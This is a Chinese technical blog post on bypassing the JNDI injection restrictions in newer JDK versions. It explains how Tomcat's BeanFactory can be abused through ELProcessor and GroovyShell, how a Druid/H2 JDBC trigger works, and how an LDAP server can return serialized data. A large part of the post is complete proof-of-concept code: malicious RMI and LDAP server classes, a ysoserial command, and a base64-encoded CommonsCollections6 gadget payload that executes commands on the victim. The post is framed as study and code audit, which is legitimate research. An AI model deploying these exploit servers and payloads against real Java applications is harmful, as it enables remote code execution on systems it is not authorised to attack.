文章目录
前言
Java版本8u261
常见绕过的类型
对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在几种方法绕过
- 使用受害者本地的类作为恶意Reference Factory攻击RMI
- 利用LDAP返回序列化数据触发Gadget
一、寻找本地的类作为恶意工厂攻击RMI
JNDI基础篇提到:对象工厂需要实现javax.naming.spi.ObjectFactory
接口的getObjectInstance方法,使用IDEA ctrl+H获取子类
tomcat-catalina.jar中org.apache.naming.factory.BeanFactory
正好符合
探究BeanFactory类
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.3</version>
</dependency>
BeanFactory恰好有getObjectInstance(),首先获取传入Reference类的className属性,然后调用无参数的构造方法实例化所指向的类
实例化成功后,获取Reference的forceString参数,这里类型转换为String,然后按照逗号分割成String数组
然后对于每一个数组元素:判断是否包含等号,如果包含等号:等号后面作为propName、等号前面作为param(注意这里substring的范围不要看反了);如果没有等号那么加set。
然后向空hashmap添加项目,键为param 值为beanClass中名称是propName的方法
之后反射调用forced中的方法,这里propName是上面的param,传入的参数是Reference属性名param对应的值。
不方便理解的话,这里举个例子:forceString赋值a=eval
,Reference里面有一个属性a的值是print(),那么最终就会调用beanClass的eval方法,然后传入的参数是字符串print()。
那么接下来就要找到可以RCE的类
Poc
1、javax.el.ELProcessor
<!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-el -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.3</version>
</dependency>
这个类中Tomcat依赖里面,可以通过传参实现RCE
根据上面的分析编写rmiServer端
package JNDIInjection.HighVer.LocalClass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class BeanFactoryRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
// resourceRef.add(new StringRefAddr("a", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("el", referenceWrapper);
System.out.println("rmi://127.0.0.1:1099/el");
}
}
如果要多次执行就可以用逗号分隔forceString
resourceRef.add(new StringRefAddr("forceString", "a=eval,b=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"control\")"));
resourceRef.add(new StringRefAddr("b", "Runtime.getRuntime().exec(\"calc\")"));
代码审计
lookup的过程与普通rmi原理一致,直接来到com.sun.jndi.rmi.registry.RegistryContext
的decodeObject方法
ResourceRef传给了var8,然后进行是否开启trustURLCodebase的判断
这里由于三个条件是and关系,一个为假就可以绕过。注意getFactoryClassLocation参数,创建ResourceRef的时候就赋值为空所以可以绕过
绕过if来到通过对象工厂实例化对象的函数,这里也跟普通rmi原理一样的
来到BeanFactory
新建ELProcessor实例,并且获取forceString字段
拆分字段,保存键值对
遍历Addr,获取到最后一项元素也就是我们自创的键a
invoke哈希表中键a对应的函数,传参是Addr中属性a对应的字符串值(注意这里出现了两个a)
之后就是eval了,不再赘述
调用栈
2、Groovy.lang.GroovyShell
如果有Groovy环境可以使用,调用GroovyShell.evaluate()
<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy-all -->
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>1.5.0</version>
</dependency>
package JNDIInjection.HighVer.LocalClass.BeanFactory;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import groovy.lang.GroovyShell;
public class GroovyAllRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "a=evaluate"));
resourceRef.add(new StringRefAddr("a", "'calc'.execute()"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.rebind("groovy", referenceWrapper);
System.out.println("rmi://127.0.0.1:1099/groovy");
}
}
3、其他
其他RCE利用Poc可以查阅浅蓝师傅的总结,见引用参考
*DruidDataSourceFactory类
(这里只做简单记录,是复现另一个师傅的方法)
<!-- https://mvnrepository.com/artifact/com.alibaba/druid -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.0.15</version>
</dependency>
代码审计
getObjectInstance最下面创建了数据源
创建数据源之前进行了配置,config()应该就是获取数据的过程
里面有个init来判断是否进行初始化
init()发起了数据库连接
PoC
package JNDIInjection.HighVer.LocalClass.DruidDataSourceFactory;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class DruidJDBCRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1089);
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('calc')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("druid", referenceWrapper);
System.out.println("rmi://127.0.0.1/druid is working...");
}
}
二、LDAP + 反序列化RCE
原理
低版本LDAP通过返回恶意类完成RCE,而高版本ban了远程类加载。
LDAP有一个特殊的字段javaSerializedData,只要设置了它便会给Client端返回序列化串然后被反序列化,只要稍加修改即可绕过版本限制
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", "xxx");
try {
entry.addAttribute("javaSerializedData", "rO0yy");
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (Exception e){
e.printStackTrace();
}
}
}
javaSerializedData会发送到受害者机器上完成反序列化
PoC
最常用的反序列化RCE就是cc链了,先用ysoserial生成,由于特殊字符要b64一下,直接参考seebug用cc6
java -jar ysoserial.jar CommonsCollections6 "calc"|base64
解码放入entry即可
package JNDIInjection.HighVer.SerializeLdap;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class SerializeLdapServer {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("127.0.0.1"),
389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
directoryServer.startListening();
System.out.println("ldap://127.0.0.1:389 is working...");
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", "hahaha");
try {
entry.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" +
"cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" +
"H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" +
"cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" +
"nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" +
"Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" +
"bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" +
"Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" +
"cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" +
"LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" +
"AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" +
"cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" +
"cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" +
"bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" +
"O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" +
"cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" +
"AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" +
"AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" +
"AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" +
"AAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdl" +
"chLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAB" +
"c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xk" +
"eHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (Exception e){
e.printStackTrace();
}
}
}
}
代码审计
追了好几个lookup,到了PartialCompositeContext.class,在这个for循环完成反序列化RCE的
接着来到ComponentContext.class,又是一个lookup
LdapCtx.class,这里var4是LDAP服务的entry,第二个属性非空也就是JavaClassName非空即可进入decodeObject
来到Obj.class,var1是javaSerializedData属性,如果非空就进行反序列化
配合cc6就完成了RCE
调用栈
引用参考
如何绕过高版本 JDK 的限制进行 JNDI 注入利用
探索高版本 JDK 下 JNDI 漏洞的利用方法
JNDI jdk高版本绕过—— Druid
完
欢迎关注我的CSDN :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123039821
版权声明:如无特别声明,本文即为原创,转载时须注明出处及本声明